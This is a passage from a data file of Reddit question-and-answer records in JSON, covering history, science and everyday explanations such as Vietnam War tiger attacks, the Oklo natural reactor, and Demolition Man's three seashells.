timeline of the film seems really compressed, even though they do show the (correct) year on screen every now and again. Temujin was almost fifty by the time he'd defeated Jamukha, succeeded in uniting the steppe tribes and proclaimed himself Genghis Khan; in a way it was his life's work, the whole conquering-half-the-known-world thing more of an afterthought.\n\n* The Yassa did forbid men harming their masters, even to Temujin's benefit.\n\n* Temujin didn't spare Jamukha \u2013 he had his back broken with a rock. Although the fact that he didn't spill his blood was a sign of respect.\n\nOn the whole, I don't think it's that bad piece of historical drama. Lots of figures and events are omitted (way more than I can list), and those that are in are compressed or altered, but there aren't a lot of outright fabrications (apart from the whole Tangut episode). Personally I feel like the original story as given in the Secret History is more than exciting and cinema-friendly enough to be filmed basically as-is, but I'm no filmmaker. I think it's also fair to say it sanitises Temujin a great deal. He was a complex figure, but by no means a nice guy.\n\nI've not commented very much on the non-story aspects, either. I can't tell you how accurate the costumes and sets are (one thing I did notice is that whenever they showed shots of camps or armies gathering there weren't many animals around, which is odd to say the least). I have read that the Mongolian spoken in the film is atrocious, because the leads aren't actually Mongolian (they're Japanese or Chinese) and it was directed by a Russian. But I can't begin to vouch for that myself (paging /r/mongolia).\n\nStill, I think it's a good film. And the soundtrack is by [one of my favourite bands](_URL_0_) \u2013 you should check them out!\n\nAs for sources, there are lots of biographies of Genghis Khan. I'd recommend Jack Weatherford's *Genghis Khan And the Making of the Modern World* as the most readable, thought-provoking and the best at putting the events in context (if sketchy on the details at times) or Ratchnevsky's *Genghis Khan: His Life and Legacy* for a more traditional and comprehensive historical account. I'd also recommend diving into the *Secret History* itself if you're really interested, it's well worth the effort. The translation I have is by Igor de Rachewiltz and it comes highly recommended, but it's hard to get hold of and frankly scarily huge."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://altanurag.mn/", "http://en.wikipedia.org/wiki/Yassa"]]}
{"q_id": "1qbj7g", "title": "Are there any accounts of soldiers encountering tigers during the Vietnam War?", "selftext": "I saw a map of tiger locations and I noticed they are in Vietnam. This question came to mind.", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1qbj7g/are_there_any_accounts_of_soldiers_encountering/", "answers": {"a_id": ["cdb7140"], "score": [9], "text": ["Most tiger attacks were nothing but barrack stories and second-hand stories about \"some guy from some other platoon\". However, there is at least one confirmed case which happened at on December 22nd 1968. The tiger that attacked a team from the 3rd Marine Recon Btn. near FSB Alpine, Quan Tri on that day had killed a marine just a month previously. (The [article](_URL_0_) on this event was published in *Northern Marine Magazine*, but [another article](_URL_3_) on the same topic was published in *Pacific Stars and Stripes*.\n\n >  Quang Tri, Vietnam--A man-eating tiger was killed by members of a small recon patrol when the 400 pound cat attacked a 3rd Reconnaissance Battalion Marine in the northwestern corner of South Vietnam. \n\n >  The Marine who was attacked is listed in a satisfactory condition at a military hospital in Quang Tri. Identification is being withheld pending notification of the next of kin. \n\n >  The six man recon team was on an observation mission near Fire Support Base Alpine, about six miles east of the Laotian Border, when it encountered the tiger. The team had completed its assigned mission and was waiting to be heli-lifted from the area, when the incident occurred. Bad weather conditions had prevented their immediate extraction and the team  had posted a two-man radio watch while the others settled down to sleep. \n\n >  The tiger struck swiftly and silently. \n\n >  \"Suddenly I heard somebody scream,\" said PFC Thomas E. Shainline (Gilbertsville, Penn.), \"then somebody else was yelling, 'it's a tiger, its a tiger!'\" \n\n >  PFC Roy Regan (Nacogdoches, Texas), who had been sleeping next to the victim recalled, \"I jumped up and saw the tiger with his mouth around my partner.\"\n\t\n\n >  \"All I could think about was to get the tiger away from him. I jumped at the tiger and the cat jerked his head and jumped into a bomb crater 10 meters away, still holding his prey.\" \n\n >  The Marines quickly followed the tiger to the crater and opened fire on the attacking beast. They could not be sure which one of them actually killed the tiger, since they all fired at it. Once hit, the tiger released his prey and the man staggered out of the bomb crater. \n\n >  \"He looked dazed and he asked what happened\", recalled PFC Maurice M. Howell (Richmond, Ky.).   \n\n >  The injured Marine was given first aid treatment and a Marine CH-46 helicopter arrived to pick up the injured Marine, the rest of the team and the dead tiger. \n\n >  The injured Marine was rushed to the 3rd Medical Battalion Hospital at Quang Tri, suffering from lacerations and bites on the neck. \n\n >  The tiger, measuring nine feet from head to tail, was transported to the 3rd Reconnaissance Battalion headquarters. \n\n >  The incident took place about ten miles south of the demilitarized zone near a spot where a young Marine was slain by a man-eating tiger Nov. 12. \n\n >  Military authorities had sent out a Marine contingent and two professional South Vietnamese tiger hunters three weeks ago to find the killer tiger and three others believed in the area, but the hunt failed. \n\n[The accompanying pictures are a sight to behold (courtesy of _URL_1_\\).](_URL_2_)\n\nA recollection written by Cpl. Dennis M. Soldner who was there during the attack states the following:\n\n >  On December 22nd 1968 after completing their mission team 1C3 was waiting to be heli-lifted from the area. Bad weather conditions had prevented immediate pickup and the team had posted a two man radio watch while the others settled in to get some shuteye.\n\n >  The tiger struck silently and swiftly. It had jumped onto and was attacking Sgt. Goolden. It then jumped into a bomb crater still holding Sgt. Goolden. The rest of the team pursued the tiger to the crater where they opened fire and killed it. Sgt. Goolden then staggered out of the crater and was given first aid treatment and a medical evacuation helicopter was called for. Shortly thereafter a Marine CH-46 picked up Sgt. Goolden, the rest of the team and the dead tiger. Sgt. Goolden was taken to 3rd Medical BN. hospital suffering lacerations and bites on the neck. \n\n >  The team and tiger went to 3rd Recon Bn. Hdqtrs. where the tiger was placed on display from a 10ft. scaffold outside of Charlie Company\u2019s administration office. It measured 9 feet and weighed 400 pounds. MajGen. Raymond G. Davis, Commanding General, 3rd Marine Division, and Assistant Division Commander, BrigGen. Robert B. Carney, Jr., examined the huge beast and congratulated Team 1C3 for killing the animal."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://i.imgur.com/uGQcXN1.jpg", "3rdrecon.org", "http://imgur.com/a/Swice", "http://i.imgur.com/jDa1QYn.jpg"]]}
{"q_id": "7ugnht", "title": "How was the 'calorie' discovered? How was energy expenditure first measured?", "selftext": "", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/7ugnht/how_was_the_calorie_discovered_how_was_energy/", "answers": {"a_id": ["dtk9sgy", "dtkk7lu"], "score": [10, 2], "text": ["A the concept calorie was never discovered; it was defined as the amount of energy needed to heat a cm^3 of water 1 degree C/K. This is just an arbitrary amount of energy and Joules are often used instead (0.239006 calories per Joule). This is sometimes measured by simply observing how much food can heat water when burned in a bomb calorimeter.\n\nNote 1000 calories(water definition)= 1 Calorie(food definition).", "In Watts time, the energy output of a steam engine was measured in foot pounds out and bushels of coal in. As /u/reerkat says, different arbitrary names can be given to these units.\n\n_URL_0_\n\n\"The historical measure of a steam engine's energy efficiency was its \"duty\". The concept of duty was first introduced by Watt in order to illustrate how much more efficient his engines were over the earlier Newcomen designs. Duty is the number of foot-pounds of work delivered by burning one bushel (94 pounds) of coal. \"\n\nJoule could be said to have discovered the \"calorie\" in 1843 though he called it vis viva, by discovering the relationship between heat and mechanical work. This was later that Watt's work, while Watt was measuring the heat input and the mechanical output, he had not apparently discovered the exact relationship between the two.\n\n_URL_1_\n\n\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["https://en.wikipedia.org/wiki/Steam_engine#Efficiency", "https://en.wikipedia.org/wiki/James_Prescott_Joule#The_mechanical_equivalent_of_heat"]]}
{"q_id": "6xugt0", "title": "How much of the fissionable materials (Uranium, Thorium) are in the Earth's core and how often does it combine into critical mass to explode?", "selftext": "", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/6xugt0/how_much_of_the_fissionable_materials_uranium/", "answers": {"a_id": ["dmijhh1", "dmiqub4"], "score": [28, 4], "text": ["There is only one naturally-occuring fissile nuclide: uranium-235. At present day, the natural fraction of uranium-235 to uranium-238 is not high enough to go critical on its own.\n\nHowever around 2 billion years ago, the weight percentage of uranium-235 in natural uranium was about 3%. This is enough for natural uranium to go critical in the presence of a light water moderator (this is a typical enrichment for artificial LWRs today).\n\nAround this time, the conditions were just right in Oklo, Gabon for a [natural nuclear reactor](_URL_0_) to form.\n\nI'm not aware of any other situation where criticality or supercriticality could occur in nature. ", "It takes very special conditions for a critical mass to explode.  The mass must be compressed to that enough reactions occur before the energy that's produced blows the mass apart.\n\nNone of those conditions are present in the Earth's core, and man-made reactors are designed so that the conditions **can't** form."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://en.wikipedia.org/wiki/Natural_nuclear_fission_reactor"], []]}
{"q_id": "5jrq9k", "title": "can someone eli5 the difference between a will, trust, and an estate?", "selftext": "Can someone ELI5 the difference between a Will, Trust, and an Estate?\n\nEdit: Thank you everyone for the explanation!", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/5jrq9k/eli5can_someone_eli5_the_difference_between_a/", "answers": {"a_id": ["dbifeih", "dbifpps"], "score": [28, 3], "text": ["A will is a document that describes how an estate should be handled once the holder has died.  It often will talk about how much money his wife and kids get,  who gets the house,  etc.   \n\nA trust is a type of account that can only be withdrawn from for specific reasons.   Usually rich people make one for their kids.   So if they go bankrupt and all their money gets taken,  their kids still have a ton because it belongs to them.   The rules vary but usually a kid can withdraw from it to pay for college and put a down payment on a house or start a business,  but the dad can't withdraw from it to buy himself a boat, even though it was his money that went into the account.   \n\nAn estate is everything someone owns,  but usually this term is used after they died.   They might own houses,  cars,  a business,  and a bunch of cash in the bank.   The estate will be used to settle any outstanding debts to creditors and then enacted according to the will of the deceased.   ", "Estate just means all of a person's possessions when they die, before they're distributed to heirs.  The precise definition can vary, so that the estate for probate purposes might exclude things like trusts or payable on death accounts, for which the probate court doesn't have the same control over its distribution, whereas those things might be included for estate tax purposes.  \n\nA will is a document that directs how an estate is to be distributed after death. \n\nA trust is a separate legal entity. In the context of estate planning, trusts allow more long term control and protection. In some cases, they're used to reduce estate taxes. It used to be that most trusts for estate planning purposes were specified in the will and only came into existence when the person died; these are called testamentary trusts. But nowadays, it's common to see trusts created before the people die.  One common type is a living trust, which afaik doesn't have a rigorous  meaning but usually means one that the people who set it up retain a great deal of control over. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "2asch4", "title": "How accurate is the claim that Warsaw Pact countries were simply Soviet puppets? Could the same be said for NATO countries and the US?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/2asch4/how_accurate_is_the_claim_that_warsaw_pact/", "answers": {"a_id": ["ciyaspm"], "score": [25], "text": ["The claim is reasonably accurate. In regards to foreign policy, the Warsaw Pact nations replicated the ideas of the USSR. Moreover, when a communist nation in Eastern Europe \"disobeyed\" the USSR, there were quite dire consequences. The Tito-Stalin split is now widely regarded as an issue of Yugoslav autonomy, where Stalin didn't want Tito to have as much power as he did.\n\nYou can see in the 1956 invasion of Hungary, and the 1968 invasion of Czechoslovakia, just how much Soviet leaders would do to maintain their handle on their puppets in government. They went in when leaders didn't do what they wanted, and so deposed them to set up a more pro-Soviet government. In fact, without direct Soviet support, the communist governments in eastern europe collapsed.\n\nOne of the main reasons for the collapse of the Soviet Empire, was Gorbachev's unwillingness to support eastern european leaders. Without Soviet support, eastern european communist leaders fell quite quickly.\n\nIn regards to NATO, and the US, no, you could not say the same. Every NATO member state was a fully autonomous sovereign state, and America never used force to coerce a NATO member into any particular action. However, you could argue that it was \"dollar imperialism\" as the Soviet's put it. While the US didn't directly have control over NATO member states, through the marshall plan and economic control, the US did wield extensive influence over NATO members, and was able to effectively control their actions to an extent."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "pgtpf", "title": "what exactly is 'tribler' and how is it different than a torrent?", "selftext": "Is it more secure and anonymous than torrenting?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/pgtpf/eli5_what_exactly_is_tribler_and_how_is_it/", "answers": {"a_id": ["c3p94do"], "score": [2], "text": ["why do you think it is different than a torrent?"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "ku9q8", "title": "how does one use the three sea shells in 'demolition man' movie?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/ku9q8/eli5_how_does_one_use_the_three_sea_shells_in/", "answers": {"a_id": ["c2n9kfy", "c2n9nht", "c2n9sc5", "c2n9z5c", "c2na2lr", "c2na4g2", "c2nahkk", "c2naq88", "c2nau8a", "c2nb40r", "c2nb915", "c2nblp4", "c2nc2cj", "c2ncji6", "c2nd12i", "c2n9kfy", "c2n9nht", "c2n9sc5", "c2n9z5c", "c2na2lr", "c2na4g2", "c2nahkk", "c2naq88", "c2nau8a", "c2nb40r", "c2nb915", "c2nblp4", "c2nc2cj", "c2ncji6", "c2nd12i"], "score": [18, 183, 32, 9, 17, 53, 8, 8, 2, 2, 2, 2, 2, 2, 2, 18, 183, 32, 9, 17, 53, 8, 8, 2, 2, 2, 2, 2, 2, 2], "text": ["[One Possibility. Potentially NSFW](_URL_0_)", "Haha, he doesn't know how to use the seashells!", "underneath one of the shells is a tiny roll of toilet paper.", "You use two shells as chopsticks to kind of clamp your dirties.  You use the third to scrape the leftovers.", "Silly, you're not supposed to know how they work. It's a classic literary device known as a \"merkel\". ", "According to Stallone:\n\n_URL_0_\n\n > OK, this may be bordering on the grotesque, but the way it was explained to me by the writer is you hold two seashells like chopsticks, pull gently and scrape what\u2019s left with the third. You asked for it\u2026. Be careful what you ask for, sorry.\n\n", "I always figured they were buttons that you pressed in some order or another that would make something wipe, clean, and pamper your ass for you, but really, there is no way of knowing.", "The way I imagined it is one seashell is some kinda vacuum cleaner that sucks the crap from your ass, another one is like a spout that sprays you with water for cleaning and the third one is kind of like a blowdryer.\n\nDid 10-year old me overthink this? Yes he did! \n\nBut seriously, it's a noodle implement.", "Scrape, Buff, Polish.", "hahahaha I don't think we're *supposed* to know -- and in there lies the fun, mystery and wonder. Fucking Rob Schneider.\n\nEdit: but for conjecture.. I'll suppose that It is a bidet-like system. 1st seashell squirts soap in your ass, 2nd washes, 3rd air-dries.", "okay I gotta watch this movie now...", "I don't know, but a friend once told me that in the UK army they were issued 1 single square of toilet paper for an overnight march, and instructed on how to wipe completely with it. It wasn't pretty.\n\n", "Scraping is so 20th-century. The seashells are sonic cleaning devices of varying power. Left is for phantom poops, middle is for grunters, right shell is for anal explosions.", "I'm pretty sure the guy is saying \"he doesn't know how to use the three shells\" as a joke.  \"Of course you don't use the seashells.  Only a barbarian that wipes his ass with paper would be stupid enough to think that.  Lolololol.\"\n\nStill don't know what they DO use, however.", "One shell activates flushing.\nOne shell squirts water ala Bidet\nOne shell does the drying.\n\nThink Japanese loo.", "[One Possibility. Potentially NSFW](_URL_0_)", "Haha, he doesn't know how to use the seashells!", "underneath one of the shells is a tiny roll of toilet paper.", "You use two shells as chopsticks to kind of clamp your dirties.  You use the third to scrape the leftovers.", "Silly, you're not supposed to know how they work. It's a classic literary device known as a \"merkel\". ", "According to Stallone:\n\n_URL_0_\n\n > OK, this may be bordering on the grotesque, but the way it was explained to me by the writer is you hold two seashells like chopsticks, pull gently and scrape what\u2019s left with the third. You asked for it\u2026. Be careful what you ask for, sorry.\n\n", "I always figured they were buttons that you pressed in some order or another that would make something wipe, clean, and pamper your ass for you, but really, there is no way of knowing.", "The way I imagined it is one seashell is some kinda vacuum cleaner that sucks the crap from your ass, another one is like a spout that sprays you with water for cleaning and the third one is kind of like a blowdryer.\n\nDid 10-year old me overthink this? Yes he did! \n\nBut seriously, it's a noodle implement.", "Scrape, Buff, Polish.", "hahahaha I don't think we're *supposed* to know -- and in there lies the fun, mystery and wonder. Fucking Rob Schneider.\n\nEdit: but for conjecture.. I'll suppose that It is a bidet-like system. 1st seashell squirts soap in your ass, 2nd washes, 3rd air-dries.", "okay I gotta watch this movie now...", "I don't know, but a friend once told me that in the UK army they were issued 1 single square of toilet paper for an overnight march, and instructed on how to wipe completely with it. It wasn't pretty.\n\n", "Scraping is so 20th-century. The seashells are sonic cleaning devices of varying power. Left is for phantom poops, middle is for grunters, right shell is for anal explosions.", "I'm pretty sure the guy is saying \"he doesn't know how to use the three shells\" as a joke.  \"Of course you don't use the seashells.  Only a barbarian that wipes his ass with paper would be stupid enough to think that.  Lolololol.\"\n\nStill don't know what they DO use, however.", "One shell activates flushing.\nOne shell squirts water ala Bidet\nOne shell does the drying.\n\nThink Japanese loo."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.i-mockery.com/shorts/three-seashells/default.php"], [], [], [], [], ["http://www.aintitcool.com/node/30865"], [], [], [], [], [], [], [], [], [], ["http://www.i-mockery.com/shorts/three-seashells/default.php"], [], [], [], [], ["http://www.aintitcool.com/node/30865"], [], [], [], [], [], [], [], [], []]}
{"q_id": "3u4aih", "title": "Why does adding a little salt to a bitter drink make it more tolerable?", "selftext": "Even a very small pinch of table salt makes coffee and green tea much more easily tolerated. Is this an effect on the tastebuds or is it something happening on a chemical level?\n\nI can find a lot of resources online mentioning the effects but none of them address what's happening at a molecular level.", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/3u4aih/why_does_adding_a_little_salt_to_a_bitter_drink/", "answers": {"a_id": ["cxbxuxo"], "score": [7], "text": ["It is true for all the basic tastes that if you are exposed to them in combination, you perceive the intensity of each one to be a little less. You can see that in [figure 1 from this paper](_URL_1_). Some of this probably represents differences in how your brain interprets the flavor, since the molecules for sweet and bitter bind to [different receptors on different cells](_URL_2_).\n\nSalt, however, is particularly good at suppressing the perception of bitterness when you taste a combination of flavors (see figure 2 from the same paper). This is why a little salt can work magic in food and cocktails - it suppresses the bitter and sour tastes more than the sweet tastes. Because salt is so effective at suppressing bitter there might be some interference happening at the level of the taste receptor cell itself. But we don't know what the mechanism is. \n\nHere is what we do know: Bitter molecules bind to one of several G-protein coupled receptors, and the receptors then [decrease cyclic nucleotide levels and activate inositol triphosphate and diglyceride](_URL_2_#Bitter). So there are many signaling molecules diffusing around taste receptor cells after bitter compounds bind the receptors, but to the best of my knowledge we still don't know how those molecules transmit the signal from that point onwards. But we know of other cells where [G-protein coupled receptors can gate ion channels](_URL_0_), so it is possible a sodium channel is gated by one of these molecules."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://en.wikipedia.org/wiki/G_protein-gated_ion_channel", "http://www.ncbi.nlm.nih.gov/pmc/articles/PMC2975745/", "https://en.wikipedia.org/wiki/Taste_receptor", "https://en.wikipedia.org/wiki/Taste_receptor#Bitter"]]}
{"q_id": "27d3ge", "title": "How can an air bubble travel from the bottom of the ocean to the surface without getting crushed by the entire weight of the ocean?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/27d3ge/how_can_an_air_bubble_travel_from_the_bottom_of/", "answers": {"a_id": ["chzoj6w", "chzu1ry"], "score": [15, 11], "text": ["It is (reversibly) crushed, in a sense. The volume of a given amount of gas is smaller when under pressure.", "A bubble released under water will expand greatly as it rises, usually breaking into many bubbles as it does so. \n\nThe air in the bubble will be compressed by water pressure, making the air pressure inside equal to the water pressure outside. As it rises, it expands, keeping the pressures equal all the way up.\n\n\nNow, replace the word \"bubble\" with \"SCUBA divers lungs\" and you'll see why it is essential to exhale as a diver ascends. The diver breathes gas under equal pressure to the water pressure, and if he ascends to lower water pressure without exhaling, \"pop\", pulmonary embolism, and messy death. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "3w8zni", "title": "In stories of Prometheus giving fire to mankind, he is punished by having his liver eaten each day and regrown each night (because of his immortality). However, we now know that the liver does actually regenerate, from as little as 25% of its mass. Did the ancient Greeks know this?", "selftext": "I was thinking about Prometheus the other day, and this occurred to me. I knew both of these facts, but I had never made the connection before.\n\nIs there a chance the Greeks were aware of the regenerative capacity of the liver, or was this a coincidence? What's the significance of Prometheus having his liver eaten, anyway (as opposed to other body parts)?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/3w8zni/in_stories_of_prometheus_giving_fire_to_mankind/", "answers": {"a_id": ["cxufk14", "cxuh7ag", "cxuz8pn"], "score": [966, 212, 20], "text": ["[Last time this question was asked, the more definitive answers were 'probably not.'](_URL_2_)  [Regeneration was prolific in Greek myths](_URL_3_), and liver regeneration seems to have been [definitively discovered in the 1800s](_URL_0_).  \n\nEdit: see [yazid87's comment](_URL_1_) for a more comprehensive response!", "Using [this thread](_URL_2_) and other sources the summary is that it is impossible to know for sure but it seems unlikely for two main reasons: \n\nFirstly the story of Prometheus pre-dates the developments in anatomy and medicine you might associate with Ancient Greece. The first written record dates back to at least Hesiod in around 700 b.c., centuries before Herophilos and other pioneers of anatomy. At the time of Hesiod dissecting a corpse would have been very taboo and a form of religious defilement so most knowledge of human anatomy was from the battlefield. Simply put the liver was known to be important because wounds to the liver were known to be fatal. In \"The Iliad\" there are a number of fatal wounds to the liver, e.g. \"He hurled his shining spear /\nand hit Apisaon, son of Phausius, /a shepherd to his people, below his diaphragm, /in the liver. His legs gave way\" (chapter 11), but proper medical study of human livers had not been conducted at the time of the origin of the story.\n\nSecondly although the story of the liver is well known, regeneration is seen in other stories from Greek mythology and not limited to any one organ. Dionysus was ripped apart at birth but regrown from his still intact heart. The Hydra killed by Heracles regenerated limbs (its heads) when one was removed. So there was no special significance place on the liver's capacity to regenerate compared to other organs.\n\nSources: _URL_3_\n\n[The Illiad](_URL_0_)\n\nI like [Edith Hamilton's book](_URL_1_) for a readable breakdown of Greek mythology and the interpretations of different ancient authors, but any you'll find those stories in any reasonable compilation.", "An aside: Not sure whether they were aware of the liver's regenerative abilities, but IIRC, the Greeks believed that anger originated from the liver. So the eagle could've been eating Prometheus's liver every day in order to keep him mellow and prevent revenge?"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.ncbi.nlm.nih.gov/pubmed/20472318", "https://www.reddit.com/r/AskHistorians/comments/3w8zni/in_stories_of_prometheus_giving_fire_to_mankind/cxuh7ag", "https://www.reddit.com/r/AskHistorians/comments/2be2qw/was_prometheus_myth_created_after_greeks/", "http://sydney.edu.au/medicine/news/pubs/radiuscontents/2009/September/22_3_prometheus.pdf"], ["http://records.viu.ca/~johnstoi/homer/iliad11.htm", "http://www.amazon.com/Mythology-Timeless-Tales-Gods-Heroes/dp/0446574759", "https://www.reddit.com/r/AskHistorians/comments/2be2qw/was_prometheus_myth_created_after_greeks/", "http://sydney.edu.au/medicine/news/pubs/radiuscontents/2009/September/22_3_prometheus.pdf"], []]}
{"q_id": "1n1ked", "title": "If a ship in the 1500s set off from Europe to the New World with 100 people on board, was there an expectation that a certain number would die on the voyage?", "selftext": "Would it have been rare, or a cause for celebration, if everyone made it? What would they have likely died from?\n\nToday a death on a ship is a tragedy - it may well have been at tragedy in the past also, but around when might it have become, let's say, \"unthinkable\"?", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1n1ked/if_a_ship_in_the_1500s_set_off_from_europe_to_the/", "answers": {"a_id": ["cceslet", "ccf8wpz"], "score": [62, 2], "text": ["Having a bit of formal education on the matter, I can say that, yes, some sailors were predicted to die. However, it depended on the quality of the sailors, quality of food, and supplies. In the 1500s, scurvy was the biggest killer of seamen in general. Sailors' diets consisted mostly of meat preserved with salt and a type of biscuit likened to hardtack. Naturally, this diet was devoid of many essential vitamins, causing their immune system to drop. Sickness then spread pretty quickly. I think I've extended my knowledge far enough at this point, perhaps someone can help me complete your question. ", "On Magellan's voyage, about 270 men set out in 5 ships. 18 men returned in one ship. Minus Magellan, obviously, who was killed by angry islanders."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "6f8usi", "title": "why microsoft keeps making office programs for mac, it's main competitor, while keeps ignoring linux users?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/6f8usi/eli5_why_microsoft_keeps_making_office_programs/", "answers": {"a_id": ["digc4ye", "digclys", "digtojt"], "score": [27, 2, 2], "text": ["I'd guess that there are 3 big factors:\n\n- MacOS runs on around 11.5% of all desktop/laptop computers, whereas Linux runs on 1.68% - there are around 10 times as many Macs as Linux computers. ([Source](_URL_0_)).\n\n- I'd imagine that the ratio of businesses using Macs compared to Linux is even bigger, although I don't have any statistics on this\n\n- Mac users, by their very nature, are likely to be willing to spend money. They've already demonstrated that by buying one of the most expensive personal computers on the market. Linux users, by their very nature, are less likely to be willing to spend money. They've already demonstrated that by choosing a free operating system. (I don't have statistics on this, but there are plenty of statistics on the fact that iOS users spend far more on apps that Android users, which is the same concept.)", "Office is Microsoft\u2019s main source of income, much more than Windows. They don\u2019t care if you use Office on Windows, Mac, web, or mobile \u2013 as long as they\u2019re getting paid. Offering a software product that\u2019s available on all those platforms is a major selling point. \n\nAs for why MS Office is not available for Linux, I can think of a few reasons:\n\n* Practicality: desktop Linux distributions are most commonly run on custom built PCs. There are near infinite different combinations of components possible. There are also hundreds of different Linux distributions. This would make it very expensive for Microsoft to test Office on \u2018Linux\u2019, as there isn\u2019t just one version everyone uses. Contrast this with Mac: most run the current version of macOS and the number of different hardware configurations is countable.\n\n* Demand/ideology: there simply aren\u2019t that many desktop Linux users who would want to use Microsoft Office, let alone pay to use it. Contrast this with Mac users, who are very used to paying for software, and many consider Microsoft Office as the one must-have piece of software on their computer. Many Mac users work in publishing, PR, and marketing: for them, MS Office is important. Desktop Linux is far less common in those industries.", "MS needs a competitor that is seen as viable.  If Mac/Apple didn't exist, they would have anti-trust suits to address. That's why they have provided Office for years. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://en.wikipedia.org/wiki/Usage_share_of_operating_systems#Desktop_and_laptop_computers"], [], []]}
{"q_id": "rx0j5", "title": "computer processor. how do i compare dualcore to quadcore? for example, is 2ghz dualcore equivalent to 1ghz quadcore?", "selftext": "Something just doesn't seem right about straight multiplication.", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/rx0j5/eli5_computer_processor_how_do_i_compare_dualcore/", "answers": {"a_id": ["c49bpd9", "c49bxxm"], "score": [5, 23], "text": ["Assuming that you can distribute everything across multiple processors, yes, they are equivalent.\n\nThe problem is that you can't always do that. If you have a series of steps that have to be performed in an exact order, you can't split them up across the processors. You have to pick one to do all of them, and that will be slower with 1 GHz processors than with 2.", "Simple analogy: think of a core like a lane on a highway, and think of the clock speed as the speed limit.  Two cores would mean there are two lanes on the highway.  \n\nNow, let's define a couple of systems.\n\n* System A: single core, 1 GHz (30mph, one lane)\n\n* System B: dual core, 1 GHz (30 mph, two lanes)\n\n* System C: single core, 2 GHz (60mph, one lane)\n\n* System D: dual core, 2 GHz (60mph, two lanes)\n\nFor a single car on a route, then, A and B are basically equivalent, as are C and D.  The extra lanes don't matter, so the 60mph road is going to be faster.\n\nNow put 100 cars on the route.  Suddenly, system D is looking a lot faster than the others."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "266se1", "title": "What did people of ages past wear to protect themselves from rain?", "selftext": "Let's say I'm a travelling merchant, with no looted life anywhere and generally living off of each day's profits as they were. All my wares are in the large baggage I carry on my back. \n\nNow, encountering rain would hardly be ideal in such livelihood especially if my goods were vulnerable to water damage. \n\nWhat would I have to protect myself and my goods from rain, pre-umbrella?\n\nSeeking shelter certainly is a logical first step but I want to know what other methods people had of preparing for the rainy days. ", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/266se1/what_did_people_of_ages_past_wear_to_protect/", "answers": {"a_id": ["chodff3"], "score": [2], "text": ["Surprisingly enough, wool is relatively water resistant, especially when felted. Wool broadcloths were made into hooded cloaks and other types of outer garments (greatcoats, etc). You would stay dry underneath for quite some time even in heavy rains (I still use a cloak in lieu of an umbrella on windy, rainy days). Umbrellas (umbrilloes in early newspapers) come about in the late 18th century using waxed or oiled fabrics. Waterproofing fabrics is not new at this point. Painting canvas with oil paint or wax will achieve that. But, it makes the fabric heavy and stiff as well as prone to cracking if bent often (such as the top of a knapsack). A leather bag could also help keep goods dry."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "9mmy8s", "title": "In the chaos of Age of Sail naval battles, I imagine that sometimes two enemy ships would sink next to another. Would the surviving sailors keep the fight going in the water, trying to drown one another? Or would they drop the animosity and chat about the battle, while trying to survive together?", "selftext": "In my head, it's a rather awkward situation: men finding themselves floating about, grabbing debris, meters from those who they were fighting to the death with just moments before.\n\nI wonder about what historical examples tell us about these situations. Was there a code of conduct that determined that sailors in the water would be out of the fight? And if there was, would they taunt each other and cheer on their remaining ships while waiting to be rescued?\n\nIf a British ship and a French one sank next to one another during Trafalgar, how would the survivors of both interact while the battle kept raging?\n\nI specified the Age of Sail because I know ships fought up close during that time, but I welcome an answer that covers other time periods, including modern warfare.", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/9mmy8s/in_the_chaos_of_age_of_sail_naval_battles_i/", "answers": {"a_id": ["e7g6d0x", "e7gg90l", "e7gmon4"], "score": [321, 475, 99], "text": ["Follow up question; using your example of trafalgar, would an English rescue boat have been sent only to recover English sailors or French also? ", "Mutual sinkings were rare in any war that I am aware of. One situation that is similar to the topic of your question came during the Battle of the Heligoland Bight, during WWI. The battle was a British attempt to strike German patrols in the Heligoland Bight using light forces (destroyers and cruisers) supported by battlecruisers under Beatty. The early stages of the battle saw British destroyers and cruisers tangling with a smaller force of German destroyers. During this engagement, the German torpedo boat (small destroyer) *V-187* was hit heavily, and began to sink, assisted by scuttling charges laid by her crew. A flotilla of British destroyers approached the stricken ship, and *Defender* lowered her boats to take off the crew. However, just eight minutes after this had begun, the appearance German light cruiser *Stettin* forced the British ships to withdraw. *Defender*' was unable to recover two of her boats, abandoning their crews to what seemed like certain captivity. 